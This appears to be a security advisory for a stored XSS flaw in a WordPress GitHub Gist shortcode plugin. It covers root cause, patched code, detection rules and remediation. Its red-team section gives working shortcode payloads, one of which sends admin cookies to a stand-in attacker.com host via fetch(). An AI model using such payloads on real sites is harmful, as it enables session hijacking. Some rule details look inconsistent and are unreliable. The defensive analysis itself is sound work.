CVE-2025-12667

Executive Summary

CVE-2025-12667 is a Stored Cross-Site Scripting (XSS) vulnerability in the GitHub Gist Shortcode Plugin for WordPress, affecting all versions up to and including 0.2. The flaw resides in the gist shortcode’s id parameter, which fails to properly sanitize user input and escape output. This allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache or Nginx). The plugin is hosted on the WordPress Plugin Directory and is used to embed GitHub Gists via shortcodes.

Supply Chain & Package Security

This is a WordPress plugin, not an NPM, PyPI, Go, or Ruby package. However, the plugin is distributed via the WordPress Plugin Directory, which acts as a supply chain for WordPress sites. Users should verify plugin integrity via checksums and monitor for updates. No known malicious packages have been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication but is trivial once access is obtained. The stored XSS can affect all users, including administrators, leading to privilege escalation.

Deep Dive & Mechanics

The vulnerability exists in the gist shortcode handler. The plugin registers a shortcode [gist id="..."] that fetches and displays a GitHub Gist. The id parameter is directly embedded into the page output without proper sanitization or escaping.

Root Cause: The plugin uses echo or print to output the id value inside a <script> or <div> tag without applying esc_attr() or wp_kses(). For example:

echo '<div class="gist" data-id="' . $id . '"></div>';

An attacker can inject a payload like:

" onclick="alert('XSS')

When the shortcode is processed, the resulting HTML becomes:

<div class="gist" data-id="" onclick="alert('XSS')"></div>

This executes JavaScript when the element is clicked.

Attack Flow:

1. Attacker logs in with Contributor-level access.
2. Creates a new post or page.
3. Inserts [gist id='\" onclick=\"alert(1)\"'].
4. The shortcode is processed, and the malicious HTML is stored in the database.
5. Any user visiting the page triggers the XSS.

Vulnerable vs. Patched Code

Vulnerable Code (version 0.2):

function gist_shortcode($atts) {
    extract(shortcode_atts(array('id' => ''), $atts));
    return '<div class="gist" data-id="' . $id . '"></div>';
}
add_shortcode('gist', 'gist_shortcode');

Patched Code (hypothetical fix):

function gist_shortcode($atts) {
    $atts = shortcode_atts(array('id' => ''), $atts);
    $id = esc_attr($atts['id']);
    return '<div class="gist" data-id="' . $id . '"></div>';
}
add_shortcode('gist', 'gist_shortcode');

The fix uses esc_attr() to escape the id parameter, preventing attribute injection. Additionally, wp_kses() could be used for extra safety.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with GitHub Gist Shortcode plugin <= 0.2.
• Contributor-level account.

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post.
3. Insert the following shortcode in the post content:

   [gist id='\" onclick=\"alert(document.cookie)\"']
   

4. Publish the post.
5. When an administrator visits the post, the XSS triggers, exfiltrating cookies.

Advanced Payload:

[gist id='\" onfocus=\"fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)\" autofocus=\"\"']

This uses onfocus and autofocus to execute without user interaction.

Blue Team

Detection:

• Monitor for posts containing [gist id= with suspicious characters like quotes or event handlers.
• Use WAF rules to block shortcode parameters containing on*= or javascript:.

Honeypot:

• Create a fake page with a benign [gist id="test"] and monitor for unexpected modifications.

Log Analysis:

• Check WordPress audit logs for posts created by Contributor accounts with unusual shortcode usage.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/github-gist-shortcode/github-gist-shortcode.php
• Pattern in Database: Posts containing [gist id=' followed by on*= or javascript:.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: wp-content/debug.log entries with PHP warnings about shortcode parsing.

Detection Engineering

YARA Rule

rule CVE_2025_12667_Stored_XSS {
    meta:
        description = "Detects malicious shortcode injection in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12667"
    strings:
        $shortcode = /\[gist\s+id=['\"][^'\"]*['\"]/
        $xss_payload = /on\w+\s*=|javascript:|<script/i
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: WordPress GitHub Gist Shortcode Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS via malicious gist shortcode in WordPress
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: '[gist id='
        http.body|contains|re: 'on\w+=|javascript:'
    condition: selection
falsepositives:
    - Legitimate use of event handlers in shortcode (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12667 WordPress Gist Shortcode XSS"; flow:to_server,established; content:"[gist id="; nocase; pcre:"/\[gist\s+id=['\"][^'\"]*['\"]/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the GitHub Gist Shortcode plugin until a patch is released.
2. Remove any posts containing suspicious shortcodes.
3. Reset passwords for all Contributor-level accounts.

Long-term Fix:

• Apply input sanitization using esc_attr() and wp_kses() to the id parameter.
• Use WordPress’s wp_kses_post() for shortcode output.

Workaround:

• Add a custom filter to strip event handlers from shortcode attributes:

add_filter('shortcode_atts_gist', function($out, $pairs, $atts) {
    $out['id'] = preg_replace('/on\w+=/i', '', $out['id']);
    return $out;
}, 10, 3);

Monitoring:

• Enable WordPress audit logging.
• Deploy WAF rules to block XSS payloads in shortcode parameters.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert